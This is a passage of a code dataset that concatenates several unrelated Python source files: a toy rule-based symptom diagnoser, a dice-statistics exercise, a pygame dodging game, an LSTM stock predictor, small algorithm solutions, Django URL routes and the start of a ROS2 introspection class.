symptom8(self):\n\t\tself.declare(Fact(low_body_temp = input(\"Do you have a low body temperature? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(restlessness = W())), salience = 1)\n\tdef symptom9(self):\n\t\tself.declare(Fact(restlessness = input(\"Do you feel restless? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(sore_throat = W())), salience = 1)\n\tdef symptom10(self):\n\t\tself.declare(Fact(sore_throat = input(\"Do you have a sore throat? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(fever = W())), salience = 1)\n\tdef symptom11(self):\n\t\tself.declare(Fact(fever = input(\"Do you have a fever? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(nausea = W())), salience = 1)\n\tdef symptom12(self):\n\t\tself.declare(Fact(nausea = input(\"Do you feel nauseous? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(blurred_vision = W())), salience = 1)\n\tdef symptom13(self):\n\t\tself.declare(Fact(blurred_vision = input(\"Do you experience blurred vision? \")))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),NOT(Fact(fatigue=\"0\")),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),NOT(Fact(fever=\"0\")),Fact(sunken_eyes=\"0\"),NOT(Fact(nausea=\"0\")),Fact(blurred_vision=\"0\"))\n\tdef disease_0(self):\n\t\tself.declare(Fact(disease=\"Jaundice\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),Fact(fatigue=\"0\"),NOT(Fact(restlessness=\"0\")),Fact(low_body_temp=\"0\"),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),Fact(nausea=\"0\"),Fact(blurred_vision=\"0\"))\n\tdef disease_1(self):\n\t\tself.declare(Fact(disease=\"Alzheimers\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),NOT(Fact(back_pain=\"0\")),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),NOT(Fact(fatigue=\"0\")),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),Fact(nausea=\"0\"),Fact(blurred_vision=\"0\"))\n\tdef disease_2(self):\n\t\tself.declare(Fact(disease=\"Arthritis\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),NOT(Fact(chest_pain=\"0\")),NOT(Fact(cough=\"0\")),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),Fact(fatigue=\"0\"),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),NOT(Fact(fever=\"1\")),Fact(sunken_eyes=\"0\"),Fact(nausea=\"0\"),Fact(blurred_vision=\"0\"))\n\tdef disease_3(self):\n\t\tself.declare(Fact(disease=\"Tuberculosis\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),NOT(Fact(chest_pain=\"0\")),NOT(Fact(cough=\"0\")),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),Fact(fatigue=\"0\"),NOT(Fact(restlessness=\"0\")),Fact(low_body_temp=\"0\"),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),Fact(nausea=\"0\"),Fact(blurred_vision=\"0\"))\n\tdef disease_4(self):\n\t\tself.declare(Fact(disease=\"Asthma\"))\n\n\t@Rule(Fact(action='diagnose'),NOT(Fact(headache=\"0\")),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),NOT(Fact(cough=\"0\")),Fact(fainting=\"0\"),NOT(Fact(sore_throat=\"0\")),Fact(fatigue=\"0\"),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),NOT(Fact(fever=\"0\")),Fact(sunken_eyes=\"0\"),Fact(nausea=\"0\"),Fact(blurred_vision=\"0\"))\n\tdef disease_5(self):\n\t\tself.declare(Fact(disease=\"Sinusitis\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),NOT(Fact(fatigue=\"0\")),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),Fact(nausea=\"0\"),Fact(blurred_vision=\"0\"))\n\tdef disease_6(self):\n\t\tself.declare(Fact(disease=\"Epilepsy\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),NOT(Fact(chest_pain=\"0\")),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),Fact(fatigue=\"0\"),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),NOT(Fact(nausea=\"0\")),Fact(blurred_vision=\"0\"))\n\tdef disease_7(self):\n\t\tself.declare(Fact(disease=\"Heart Disease\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),NOT(Fact(fatigue=\"0\")),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),NOT(Fact(nausea=\"0\")),NOT(Fact(blurred_vision=\"0\")))\n\tdef disease_8(self):\n\t\tself.declare(Fact(disease=\"Diabetes\"))\n\n\t@Rule(Fact(action='diagnose'),NOT(Fact(headache=\"0\")),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),Fact(fatigue=\"0\"),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),NOT(Fact(nausea=\"0\")),NOT(Fact(blurred_vision=\"0\")))\n\tdef disease_9(self):\n\t\tself.declare(Fact(disease=\"Glaucoma\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),NOT(Fact(fatigue=\"0\")),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),NOT(Fact(nausea=\"0\")),Fact(blurred_vision=\"0\"))\n\tdef disease_10(self):\n\t\tself.declare(Fact(disease=\"Hyperthyroidism\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"1\"),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),Fact(fainting=\"0\"),Fact(sore_throat=\"0\"),Fact(fatigue=\"0\"),Fact(restlessness=\"0\"),Fact(low_body_temp=\"0\"),NOT(Fact(fever=\"0\")),Fact(sunken_eyes=\"0\"),NOT(Fact(nausea=\"0\")),Fact(blurred_vision=\"0\"))\n\tdef disease_11(self):\n\t\tself.declare(Fact(disease=\"Heat Stroke\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(headache=\"0\"),Fact(back_pain=\"0\"),Fact(chest_pain=\"0\"),Fact(cough=\"0\"),NOT(Fact(fainting=\"0\")),Fact(sore_throat=\"0\"),Fact(fatigue=\"0\"),Fact(restlessness=\"0\"),NOT(Fact(low_body_temp=\"0\")),Fact(fever=\"0\"),Fact(sunken_eyes=\"0\"),Fact(nausea=\"0\"),Fact(blurred_vision=\"0\"))\n\tdef disease_12(self):\n\t\tself.declare(Fact(disease=\"Hypothermia\"))\n\n\t@Rule(Fact(action='diagnose'),Fact(disease=MATCH.disease),salience = -998)\n\tdef disease(self, disease):\n\t\tid_disease = disease\n\t\tdisease_details = get_symptoms(id_disease)\n\t\tprint(\"\\nThe disease could mostly be \" + str(id_disease))\n\t\tprint(\"The rule taken into account was: \")\n\t\tfor i in range(len(disease_details)):\n\t\t\tif disease_details[i] != 0:\n\t\t\t\tprint(\"<\" + symptoms_list[i] + \"> yes.\")\n\t\t\telse:\n\t\t\t\tprint(\"<\" + symptoms_list[i] + \"> no.\")\n\n\t\tprint(\" --> \" + str(id_disease))\n\n\n\t@Rule(Fact(action='diagnose'),\n\t\t Fact(headache=MATCH.headache),\n\t\t Fact(back_pain=MATCH.back_pain),\n\t\t Fact(chest_pain=MATCH.chest_pain),\n\t\t Fact(cough=MATCH.cough),\n\t\t Fact(fainting=MATCH.fainting),\n\t\t Fact(sore_throat=MATCH.sore_throat),\n\t\t Fact(fatigue=MATCH.fatigue),\n\t\t Fact(low_body_temp=MATCH.low_body_temp),\n\t\t Fact(restlessness=MATCH.restlessness),\n\t\t Fact(fever=MATCH.fever),\n\t\t Fact(sunken_eyes=MATCH.sunken_eyes),\n\t\t Fact(nausea=MATCH.nausea),\n\t\t Fact(blurred_vision=MATCH.blurred_vision),NOT(Fact(disease=MATCH.disease)),salience = -999)\n\n\tdef unmatched(self,headache, back_pain, chest_pain, cough, fainting, sore_throat, fatigue, restlessness,low_body_temp ,fever ,sunken_eyes ,nausea ,blurred_vision):\n\t\tprint(\"\\nCould not exactly diagnose what the disease is, but let me try maximum symptom match!\")\n\t\tdis_lis = [headache, back_pain, chest_pain, cough, fainting, sore_throat, fatigue, restlessness,low_body_temp ,fever ,sunken_eyes ,nausea ,blurred_vision]\n\t\tmax_val = 0\n\t\tmax_dis = \"\"\n\t\tfor i in range(len(symptoms_disease_map)):\n\t\t\ttemp_val = 0\n\t\t\tfor j in range(len(symptoms_disease_map[i])):\n\t\t\t\tif dis_lis[j] == str(symptoms_disease_map[i][j]):\n\t\t\t\t\ttemp_val += 1\n\t\t\t\tif temp_val > max_val:\n\t\t\t\t\tmax_val = temp_val\n\t\t\t\t\tmax_dis = diseases_dict[i]\n\n\t\tid_disease = max_dis\n\t\tdisease_details = get_symptoms(id_disease)\n\t\tprint(\"\\nThe disease could mostly be \" + str(id_disease))\n\t\tprint(\"The rule taken into account was: \")\n\t\tfor i in range(len(disease_details)):\n\t\t\tif disease_details[i] != 0:\n\t\t\t\tprint(\"<\" + symptoms_list[i] + \"> yes.\")\n\t\t\telse:\n\t\t\t\tprint(\"<\" + symptoms_list[i] + \"> no.\")\n\n\t\tprint(\" --> \" + str(id_disease))\n\nif __name__ == \"__main__\":\n\telias = DoctorElias()\n\twhile 1:\n\t\telias.reset()\n\t\telias.run()\n\t\tprint(\"Would you like to diagnose some other symptoms?\")\n\t\tif input() == \"no\":\n\t\t\texit()\n\n","repo_name":"vam-sin/DoctorElias","sub_path":"elias.py","file_name":"elias.py","file_ext":"py","file_size_in_byte":10899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"26054714708","text":"def count_words(list_of_strings):\n \"\"\"\n count the words in a list\n \n :param list list_of_strings: a list containing strings\n \n :rtype: dict\n :return: mapping from string to how often the string occurs in the list\n \"\"\"\n word2freq = dict()\n \n for string in list_of_strings:\n \n if string not in word2freq:\n word2freq[string] = 0\n \n word2freq[string] += 1\n \n return word2freq\n \n \nx=1\npython = 'awesome'","repo_name":"cltl/python-for-text-analysis","sub_path":"Chapters/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":410,"dataset":"github-code","pt":"60"} +{"seq_id":"611839358","text":"from itertools import count\nimport random\nfrom typing import Counter\n\n\ndef une_partie(n):\n list_de = []\n for i in range(n):\n list_de.append(random.randint(1, 6))\n return list_de\n\n\ndef competeur_face(liste_n_tirage):\n liste_de_compteur = [0, 0, 0, 0, 0, 0]\n for e in liste_n_tirage:\n if (e > 6 or e < 1):\n print(\"L'element n'est pas correct\")\n liste_de_compteur[e - 1] += 1\n return liste_de_compteur\n\n\ndef etats_partie(liste):\n count = 0\n liste_etats = []\n for i in liste:\n count += i\n for i in liste:\n liste_etats.append(i / count * 100)\n\n return liste_etats\n\n\ndef face_gagnante(liste):\n # temp_key = 0\n # temp_value = 0\n # for i in range(len(liste)):\n # if liste[i] > temp_value:\n # temp_value = liste[i]\n # temp_key += 1\n # return temp_key\n gagnante = 1\n liste_compteur_face = competeur_face(liste)\n nbr_apparu_max = liste_compteur_face[0]\n for i in range(1, len(liste_compteur_face)):\n if (nbr_apparu_max <= liste_compteur_face[i]):\n nbr_apparu_max = liste_compteur_face[i]\n gagnante = i + 1\n return gagnante\n\n\nentier = int(input(\"Saissez un nombre\"))\nlist_gerer = une_partie(entier)\nprint(list_gerer)\nliste_de_compteur = competeur_face(list_gerer)\nprint(liste_de_compteur)\nliste_etats = etats_partie(liste_de_compteur)\n\ncount = 1\nfor i in liste_etats:\n print(str(count), \" - \", str(i) + \"%\")\n count += 1\n\nle_plus_grand = face_gagnante(list_gerer)\nprint(le_plus_grand)\n","repo_name":"ThearchyHelios/UGA_INF","sub_path":"INF101/TD/1.6.12.py","file_name":"1.6.12.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"11369762679","text":"# -*- coding: cp1252 -*-\n# Jag gjorde detta projekt med hjälp av en pygame-tutorial på youtube\n#src: https://www.youtube.com/watch?v=ujOTNg17LjI&list=PLQVvvaa0QuDdLkP8MrOXLe_rKuf6r80KO&index=1\n\nfrom pygame import*\nimport pygame\nimport time\nimport random\n\npygame.init()\n#skapar ett fönster\ndisplay_height = 698\ndisplay_width = 600\npygame.mixer.music.load(\"Finlandia.mp3\") \npygame.mixer.music.play(-1,0.0)\n\n\n#jag definierar färger\nblack = (0,0,0)\nwhite = (255,255,255)\nred = (255,0,0)\ngreen = (0,43,120)\nblock_color = (53,115,255)\n\n#ställer in bredden på bilden\ncar_width = 100\n\ngameDisplay = pygame.display.set_mode((display_width,display_height))\npygame.display.set_caption(\"Prehaps one of the most realistic Winter war simulators 11/10\")\nclock = pygame.time.Clock()\n#importerar bilderna går att använda både png och jpg i pygame\ncarImg = pygame.image.load(\"car1.png\")\nsten = pygame.image.load(\"gomunismos.png\")\nglom = pygame.image.load(\"1280px-Flag_of_Finland_1920-1978_(State).sv.png\")\nblom = pygame.image.load(\"Voitto-lapissa-2.jpg\")\n#skapar knappen och\n#gör så att det händer något då man klickar på knappen\ndef button(msg,x,y,w,h,ic,ac,action=None):\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n print(click)\n if x+w > mouse[0] > x and y+h > mouse[1] > y:\n pygame.draw.rect(gameDisplay, ac,(x,y,w,h))\n\n if click[0] == 1 and action != None:\n action() \n else:\n pygame.draw.rect(gameDisplay, ic,(x,y,w,h))\n#ställer in stilen\n smallText = pygame.font.SysFont(\"Arial\",20)\n textSurf, textRect = text_objects(msg, smallText)\n textRect.center = ( (x+(w/2)), (y+(h/2)) )#var texten placeras\n gameDisplay.blit(textSurf, textRect)\n\n\n#Skapar en startmeny till spelet\ndef game_intro():\n\n intro = True\n\n while intro:\n for event in pygame.event.get():\n #gör så att spelet avslutas korrekt\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n #skapar menytexten \n gameDisplay.blit(glom,(0,-200))\n largeText = pygame.font.SysFont(\"Arial\",25)\n TextSurf, TextRect = text_objects(\"Undvik kommunism, du styr med sidopilarna\", largeText)\n TextRect.center = ((display_width/2),(display_height/3))\n gameDisplay.blit(TextSurf, TextRect)\n #skapar texten till knappen och väljer vilken färg den blir då man för musen över den\n button(\"Starta spelet!\",225,550,150,50,green,green,game_loop)\n\n pygame.display.update()\n clock.tick(144)\n#definierar räknefunktion för antalet hinder man undvikit\ndef things_dodged(count):\n font = pygame.font.SysFont(None, 25)\n text = font.render(\"År av hungersnöd och gulager undvikta:\"+str(count), True, black)\n gameDisplay.blit(text,(0,0)) \n\n#definierar hindret\"\ndef things(thingx, thingy):\n gameDisplay.blit(sten, (thingx, thingy))\n\ndef car(x,y):\n gameDisplay.blit(carImg,(x,y))\n\n #fixar gameover texten \n\ndef text_objects(text, font):\n textSurface = font.render(text, True, black)\n return textSurface, textSurface.get_rect()\n\ndef message_display(text):\n largeText = pygame.font.Font('freesansbold.ttf',45)\n TextSurf, TextRect = text_objects(text, largeText)\n TextRect.center = ((display_width/2),(display_height/2))\n gameDisplay.blit(TextSurf, TextRect)\n\n pygame.display.update()\n\n time.sleep(2)\n\n game_loop()\n \n\n\n\n#vad som händer om man krashar\ndef crash():\n message_display(\"Du förlorade\")\n\n#skapar game loopen\ndef game_loop():\n x = (display_width * 0.2)\n y = (display_height * 0.8)\n\n x_change = 0\n\n thing_startx = random.randrange(0,display_width)\n thing_starty = -600\n thing_speed = 7\n thing_width = 60\n thing_height = 57\n\n thingCount = 30\n dodged = 0\n #skapar en while loop som också gör så att spelet stängs då man klickar på x:et\n gameExit = False\n\n while not gameExit:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n quit()\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n x_change = -15\n if event.key == pygame.K_RIGHT:\n x_change = 15\n\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n x_change = 0\n\n x += x_change\n gameDisplay.blit(blom,(0,0))\n\n#gör så att man krashar om man blir träffad av hindret\n things(thing_startx, thing_starty)\n\n\n \n thing_starty += thing_speed\n car(x,y)\n things_dodged(dodged)\n\n if x > display_width - car_width or x < 0:\n crash()\n#gör så att hindret kommer från olika ställen\n if thing_starty > display_height:\n thing_starty = 0 - thing_height\n thing_startx = random.randrange(0,display_width)\n dodged += 1\n thing_speed += 1\n thing_width += (dodged * 1.2)\n\n if y < thing_starty+thing_height:\n print('y crossover')\n\n if x > thing_startx and x < thing_startx + thing_width or x+car_width > thing_startx and x + car_width < thing_startx+thing_width:\n print('x crossover')\n crash()\n #ställer i hur många fps spelet körs i\n pygame.display.update()\n clock.tick(60)\ngame_intro()\ngame_loop()\npygame.quit()\nquit()\n\n\n\n","repo_name":"Eddiesmaros/Game1","sub_path":"Game/Pygame.py","file_name":"Pygame.py","file_ext":"py","file_size_in_byte":5458,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"11015909249","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom pandas import datetime\nimport math, time\nimport itertools\nfrom sklearn import preprocessing\nimport datetime\nfrom operator import itemgetter\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation\nfrom keras.layers.recurrent import LSTM\nfrom keras.layers.advanced_activations import LeakyReLU, PReLU\nimport csv\nfile_name='LT.NS.csv'\ncol_name=['Open','High','Low','Close']\nstocks=pd.read_csv(file_name,header=0,names=col_name)\ndf=pd.DataFrame(stocks)\ndf.to_csv('inter.csv')\ndf['High'] = df['High']/1000\ndf['Low'] =df['Low']/1000\ndf['Open'] =df['Open']/1000\ndf['Close'] =df['Close']/1000\ndef load_data(stock,seq_len):\n\tamount_of_features = len(stock.columns)\n\tdata = stock.as_matrix() #pd.DataFrame(stock)\n\tsequence_length = seq_len + 1\n\tresult = []\n\tfor index in range(len(data) - sequence_length):\n\t\tresult.append(data[index: index + sequence_length])\n\tresult=np.array(result)\n\tprint(\"result\"+ str(result.shape))\n\trow= 0.95*result.shape[0]\n\ttrain = result[:int(row), :]\n\tx_train = train[:, :-1]\n\ty_train = train[:, -1][:,-1]\n\tx_test = result[int(row):, :-1]\n\ty_test = result[int(row):, -1][:,-1]\n\tx_train = np.reshape(x_train, (x_train.shape[0], x_train.shape[1], amount_of_features))\n\tx_test = np.reshape(x_test, (x_test.shape[0], x_test.shape[1], amount_of_features))\n\t#print(x_train)\n\t#print(x_test)\n\tprint(\"y_test\"+str(y_test.shape))\n\treturn [x_train,x_test,y_train, y_test]\nx_train,x_test,y_train,y_test=load_data(df[::-1],5)\nprint('y_test'+str(y_test.shape))\nprint('y_train'+str(y_train.shape))\nprint('x_test'+str(x_test.shape))\nprint('x_train'+str(x_train.shape))\n\ndef build():\n\td=0.2\n\tmodel=Sequential()\n\tmodel.add(LSTM(256,input_shape=(5,4),return_sequences=True))\n\tmodel.add(Dropout(0.3))\n\tmodel.add(LSTM(128,input_shape=(5,4),return_sequences=True))\n\tmodel.add(Dropout(d))\n\tmodel.add(LSTM(64,input_shape=(5,4),return_sequences=False))\n\tmodel.add(Dropout(d))\n\tmodel.add(Dense(16,kernel_initializer='uniform',activation='relu'))\n\tmodel.add(Dense(1,kernel_initializer='uniform',activation='relu'))\n\tmodel.compile(loss='mse',optimizer='adam',metrics=['accuracy'])\n\treturn model\n\nmodel=build()\nmodel.fit(x_train,y_train,batch_size=32,epochs=50,validation_split=0.1,verbose=2)\np=model.predict(x_test)\nimport matplotlib.pyplot as plt2\nplt2.plot(p,color='red', label='prediction')\nplt2.plot(y_test,color='blue', label='y_test')\nplt2.legend(loc='upper left')\nplt2.show()\n\n\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"koushikkirugulige/Animate-name","sub_path":"stock_ko/lnt.py","file_name":"lnt.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72783891071","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 2 19:12:03 2018\n\n@author: Mithilesh\n\"\"\"\n\ndef hackerearth(l,st):\n arr2=[]\n st2=\"hackerearth\"\n flag=1\n for ch in st2:\n if ch in st:\n if ch==\"a\" or ch==\"e\" or ch==\"h\" or ch==\"r\":\n arr2.append((st.count(ch))//2)\n else:\n arr2.append(st.count(ch))\n else:\n flag=0\n break\n if flag==0:\n print(0)\n else:\n print(min(arr2))\n \nl=int(input())\nst=str(input())\nhackerearth(l,st)","repo_name":"abhaykatheria/cp","sub_path":"HackerEarth/Count Hackerearth.py","file_name":"Count Hackerearth.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"28094923760","text":"import unittest\n\nfrom hw_asr.text_encoder.ctc_char_text_encoder import CTCCharTextEncoder\nimport torch\n\n\nclass TestTextEncoder(unittest.TestCase):\n def test_ctc_decode(self):\n text_encoder = CTCCharTextEncoder()\n text = (\n \"i^^ ^w^i^sss^hhh^ i ^^^s^t^aaaar^teee^d \"\n \"dddddd^oooo^in^g tttttttth^iiiis h^^^^^^^^w^ e^a^r^li^er\"\n )\n true_text = \"i wish i started doing this hw earlier\"\n inds = [text_encoder.char2ind[c] for c in text]\n decoded_text = text_encoder.ctc_decode(inds)\n self.assertIn(decoded_text, true_text)\n\n def test_beam_search(self):\n text_encoder = CTCCharTextEncoder(alphabet=[\"a\", \"b\", \"c\"])\n probs = torch.tensor(\n [\n [0.1, 0.2, 0.1, 0.6],\n [0.2, 0.2, 0.5, 0.1],\n [0.1, 0.5, 0.1, 0.3],\n ]\n )\n hypos = text_encoder.ctc_beam_search(probs, 3, beam_size=1) # simple argmax\n self.assertTrue(hypos[0].text == \"cba\")\n self.assertEqual(hypos[0].prob, 0.6 * 0.5 * 0.5)\n\n hypos = text_encoder.ctc_beam_search(probs, 3, beam_size=4)\n self.assertTrue(hypos[0].text == \"ca\")\n self.assertTrue(\n hypos[0].prob\n - (\n 0.6 * 0.2 * 0.1 # ca^\n + 0.6 * 0.2 * 0.5 # c^a\n + 0.1 * 0.1 * 0.5 # ^ca\n + 0.6 * 0.1 * 0.5 # cca\n + 0.6 * 0.2 * 0.5 # caa\n )\n < 1e-5\n )\n","repo_name":"GoshaNice/HW_ASR_2023","sub_path":"hw_asr/tests/test_text_encoder.py","file_name":"test_text_encoder.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29437314454","text":"# iterative\n\nfrom typing import Optional\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\nclass Solution:\n def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n \n # if head is None:\n # return head \n # prev를 None으로 설정하면 if문 안 써도 됨\n \n # dummy = ListNode(head.val, None) # ListNode로 새로 선언하지 않아도 됨\n prev = None\n node = head\n \n while node:\n next, node.next = node.next, prev\n prev, node = node, next\n\n return prev","repo_name":"ttaerrim/algorithm","sub_path":"algorithm-interview/15-2.py","file_name":"15-2.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41491468077","text":"from django.urls import path, re_path\nfrom . import views\n\n\napp_name = 'forum'\n\nurlpatterns = [\n path('', views.main),\n re_path(r'^(?P\\d+)/$', views.view_post),\n path('create/', views.create_post),\n re_path(r'^edit/(?P\\d+)/$', views.edit_posts),\n re_path(r'^comment-(?P\\d+)-(?P-?\\d+)/$',\n views.comment),\n]\n","repo_name":"alkersho/CS1XA3","sub_path":"Project03/v_class/forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41149313455","text":"from __future__ import annotations\n\nimport array\nimport typing as t\nfrom datetime import datetime\nfrom threading import Thread\nfrom time import sleep\n\nimport numpy as np\nimport rclpy\nimport ros2action.api\nimport ros2node.api\nimport ros2service.api\nimport ros2topic.api\nfrom rclpy.action import (\n get_action_client_names_and_types_by_node,\n get_action_names_and_types,\n get_action_server_names_and_types_by_node,\n)\nfrom rclpy.executors import MultiThreadedExecutor\nfrom rclpy.node import Node\nfrom rclpy.qos import QoSPresetProfiles\nfrom rclpy.subscription import Subscription\nfrom rosidl_runtime_py.utilities import get_message\n\nfrom .ros import (\n DISPLAY_ARRAY_LENGTH_MAX,\n ActionInfo,\n NodeInfo,\n RosInterface,\n ServiceInfo,\n TopicInfo,\n)\n\n\ndef split_full_path(path: str) -> tuple[str, str]:\n splits = path.split(\"/\")\n return \"/\".join(splits[:-1]), splits[-1]\n\n\ndef get_full_path(namespace: str, name: str) -> str:\n if namespace == \"/\":\n return f\"/{name}\"\n else:\n return f\"{namespace}/{name}\"\n\n\nclass Ros2(RosInterface):\n node: Node\n\n def __init__(self, start_parameter_services: bool = False) -> None:\n rclpy.init()\n self.node = rclpy.create_node(\n \"_rtui\",\n enable_rosout=False,\n start_parameter_services=start_parameter_services,\n parameter_overrides=[],\n )\n\n Node.get_action_names_and_types = get_action_names_and_types\n Node.get_action_server_names_and_types_by_node = (\n get_action_server_names_and_types_by_node\n )\n Node.get_action_client_names_and_types_by_node = (\n get_action_client_names_and_types_by_node\n )\n\n executor = MultiThreadedExecutor()\n executor.add_node(self.node)\n self.thread = Thread(target=executor.spin, daemon=True)\n self.thread.start()\n\n sleep(0.01)\n\n super().__init__()\n\n def terminate(self) -> None:\n rclpy.shutdown()\n self.thread.join()\n\n def now(self) -> datetime:\n return datetime.fromtimestamp(self.node.get_clock().now().nanoseconds * 1e-9)\n\n def list_nodes(self) -> list[str]:\n nodes = ros2node.api.get_node_names(node=self.node)\n return sorted({node.full_name for node in nodes})\n\n def list_topics(self) -> list[str]:\n topics = ros2topic.api.get_topic_names_and_types(node=self.node)\n names = sorted({name for name, _ in topics})\n return names\n\n def list_services(self) -> list[str]:\n def filter(_name: str, types: list[str]) -> bool:\n if len(types) == 0:\n return True\n\n BLOCK_LIST = [\n \"rcl_interfaces/srv/DescribeParameters\",\n \"rcl_interfaces/srv/GetParameters\",\n \"rcl_interfaces/srv/GetParameterTypes\",\n \"rcl_interfaces/srv/ListParameters\",\n \"rcl_interfaces/srv/SetParameters\",\n \"rcl_interfaces/srv/SetParametersAtomically\",\n ]\n\n if types[0] in BLOCK_LIST:\n return False\n\n return True\n\n services = ros2service.api.get_service_names_and_types(node=self.node)\n names = sorted({name for name, types in services if filter(name, types)})\n return names\n\n def list_actions(self) -> list[str]:\n actions = ros2action.api.get_action_names_and_types(node=self.node)\n names = sorted({name for name, _ in actions})\n return names\n\n def get_node_info(self, node_name: str) -> NodeInfo:\n kwargs = dict(node=self.node, remote_node_name=node_name)\n\n pubs = ros2node.api.get_publisher_info(**kwargs)\n subs = ros2node.api.get_subscriber_info(**kwargs)\n servers = ros2node.api.get_service_server_info(**kwargs)\n clients = ros2node.api.get_service_client_info(**kwargs)\n action_servers = ros2node.api.get_action_server_info(**kwargs)\n action_clients = ros2node.api.get_action_client_info(**kwargs)\n\n def flatten(topics: t.Any) -> t.Generator[tuple[str, str], None, None]:\n for topic in topics:\n if not topic.types:\n yield topic.name, \"\"\n for type_ in topic.types:\n yield topic.name, type_\n\n return NodeInfo(\n name=node_name,\n publishers=list(flatten(pubs)),\n subscribers=list(flatten(subs)),\n service_servers=list(flatten(servers)),\n service_clients=list(flatten(clients)),\n action_servers=list(flatten(action_servers)),\n action_clients=list(flatten(action_clients)),\n )\n\n def __get_topic_types(self, topic_name: str) -> list[str]:\n names_and_types: list[\n tuple[str, list[str]]\n ] = ros2topic.api.get_topic_names_and_types(\n node=self.node, include_hidden_topics=True\n )\n for name, types in names_and_types:\n if name == topic_name:\n return types\n\n return []\n\n def get_topic_info(self, topic_name: str) 